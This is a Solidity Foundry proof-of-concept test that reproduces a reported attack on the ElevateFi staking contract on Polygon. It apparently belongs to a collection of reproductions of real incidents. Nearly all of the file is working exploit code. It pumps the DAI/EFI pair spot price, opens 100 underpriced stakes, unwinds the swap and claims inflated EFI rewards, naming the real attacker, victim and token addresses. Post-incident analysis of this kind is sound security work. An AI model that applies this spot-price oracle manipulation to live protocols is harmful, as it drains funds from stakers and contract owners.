src/test/2026-05/ElevateFi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~16,000 USD
8// Attacker : 0x7abd3f84e28f49f8f3d64fa21981fa36e4fb37f0
9// Attack Contract / Execution Address : 0x7abd3f84e28f49f8f3d64fa21981fa36e4fb37f0
10// EIP-7702 Authorized Code : 0x0511889ef593412386a889a3b7e3327cbc81f19e
11// Vulnerable Contract : 0xcddc83a34fc9a7b9e6b1df7c14b585cf73283174
12// Victim : 0x816ec92012e61269dcfe72188fe6d2352defce74
13// Attack Tx : https://polygonscan.com/tx/0x2bd7213a764dd93d18dedeca7f4e0cf5c3cdce1739d79b53e41b72ec9efed87e
14 
15// @Info
16// Vulnerable Contract Code : https://polygonscan.com/address/0xcddc83a34fc9a7b9e6b1df7c14b585cf73283174#code
17 
18// @Analysis
19// Telegram : https://t.me/defimon_alerts/3040
20//
21// ElevateFi priced fixed-USD staking packages from the raw DAI/EFI pair reserves. This PoC funds the attacker
22// with DAI to isolate the victim bug, pumps the pair spot price, creates 100 underpriced package-7 stakes, then
23// advances one epoch and claims EFI from the staking vault. The real tx sourced the DAI through nested flash loans
24// and executed from the attacker EOA through EIP-7702 authorized code.
25 
26address constant ATTACKER = 0x7abD3f84E28f49f8F3d64Fa21981fA36E4Fb37f0;
27address constant ELEVATE_STAKING_PROXY = 0x816EC92012e61269dcFe72188fe6d2352dEFCe74;
28address constant EFI = 0xae840dEab9916d80FADF42E218119a6051468169;
29address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;
30address constant DAI_EFI_PAIR = 0xAec86dc2a08CD7cF8d90eE71d0E4864F25BA497B;
31 
32interface IElevateStaking {
33    function rebase() external;
34    function stakeEFI(
35        uint8 packageId
36    ) external;
37    function viewStakeRewards(
38        address user
39    ) external view returns (uint256 totalUsd);
40    function claimStakeRewards(
41        uint256 usdAmount
42    ) external returns (uint256 paidEfi, uint256 burnedEfi);
43}
44 
45contract ContractTest is BaseTestWithBalanceLog {
46    function setUp() public {
47        uint256 forkBlock = 87_132_216;
48        vm.createSelectFork("polygon", forkBlock);
49        vm.roll(87_132_217);
50        vm.warp(1_779_221_088);
51 
52        fundingToken = EFI;
53        attacker = ATTACKER;
54 
55        vm.label(ATTACKER, "Attacker EOA");
56        vm.label(ELEVATE_STAKING_PROXY, "ElevateFi staking proxy");
57        vm.label(EFI, "EFI");
58        vm.label(DAI, "DAI");
59        vm.label(DAI_EFI_PAIR, "DAI/EFI pair");
60    }
61 
62    function testExploit() public balanceLog {
63        uint256 efiBefore = IERC20(EFI).balanceOf(ATTACKER);
64 
65        // The real tx got this buying power from nested DAI flash loans. Here it is setup capital so the PoC
66        // focuses on ElevateFi's vulnerable reserve-price dependency.
67        uint256 daiSeed = 1_360_000 ether;
68        deal(DAI, ATTACKER, daiSeed);
69 
70        vm.startPrank(ATTACKER, ATTACKER);
71 
72        // step 1: pump the DAI/EFI pair spot price used by ElevateFi's getPriceUSD().
73        buyEfiWithAllDai();
74 
75        // step 2: create the same package-7 stakes while the reserve-derived EFI price is inflated.
76        uint256 stakeCount = 100;
77        for (uint256 i = 0; i < stakeCount; ++i) {
78            IElevateStaking(ELEVATE_STAKING_PROXY).stakeEFI(7);
79        }
80 
81        // step 3: unwind the local price manipulation before claiming rewards.
82        sellRemainingEfi();
83 
84        vm.stopPrank();
85 
86        uint256 vaultBeforeClaim = IERC20(EFI).balanceOf(ELEVATE_STAKING_PROXY);
87 
88        // step 4: advance to the observed claim block and claim one epoch of inflated staking rewards.
89        vm.roll(87_132_251);
90        vm.warp(1_779_221_148);
91        vm.startPrank(ATTACKER, ATTACKER);
92        IElevateStaking(ELEVATE_STAKING_PROXY).rebase();
93        uint256 rewards = IElevateStaking(ELEVATE_STAKING_PROXY).viewStakeRewards(ATTACKER);
94        IElevateStaking(ELEVATE_STAKING_PROXY).claimStakeRewards(rewards);
95        vm.stopPrank();
96 
97        uint256 efiProfit = IERC20(EFI).balanceOf(ATTACKER) - efiBefore;
98        uint256 vaultEfiLoss = vaultBeforeClaim - IERC20(EFI).balanceOf(ELEVATE_STAKING_PROXY);
99 
100        assertGt(efiProfit, 6200 ether, "EFI reward profit");
101        assertEq(vaultEfiLoss, efiProfit, "staking vault paid attacker");
102    }
103 
104    function buyEfiWithAllDai() private {
105        IUniswapV2Pair pair = IUniswapV2Pair(DAI_EFI_PAIR);
106        uint256 daiIn = IERC20(DAI).balanceOf(ATTACKER);
107 
108        IERC20(DAI).transfer(DAI_EFI_PAIR, daiIn);
109        (uint256 reserveDai, uint256 reserveEfi) = daiEfiReserves(pair);
110        uint256 efiOut = getAmountOut(daiIn, reserveDai, reserveEfi);
111        pair.swap(0, efiOut, ATTACKER, "");
112    }
113 
114    function sellRemainingEfi() private {
115        IUniswapV2Pair pair = IUniswapV2Pair(DAI_EFI_PAIR);
116        uint256 pairEfiBefore = IERC20(EFI).balanceOf(DAI_EFI_PAIR);
117 
118        IERC20(EFI).transfer(DAI_EFI_PAIR, IERC20(EFI).balanceOf(ATTACKER));
119        uint256 netEfiIn = IERC20(EFI).balanceOf(DAI_EFI_PAIR) - pairEfiBefore;
120        (uint256 reserveDai, uint256 reserveEfi) = daiEfiReserves(pair);
121        uint256 daiOut = getAmountOut(netEfiIn, reserveEfi, reserveDai);
122        pair.swap(daiOut, 0, ATTACKER, "");
123    }
124 
125    function daiEfiReserves(
126        IUniswapV2Pair pair
127    ) private view returns (uint256 reserveDai, uint256 reserveEfi) {
128        (uint112 reserve0, uint112 reserve1,) = pair.getReserves();
129        if (pair.token0() == DAI) {
130            return (uint256(reserve0), uint256(reserve1));
131        }
132        return (uint256(reserve1), uint256(reserve0));
133    }
134 
135    function getAmountOut(
136        uint256 amountIn,
137        uint256 reserveIn,
138        uint256 reserveOut
139    ) private pure returns (uint256) {
140        uint256 amountInWithFee = amountIn * 997;
141        return (amountInWithFee * reserveOut) / ((reserveIn * 1000) + amountInWithFee);
142    }
143}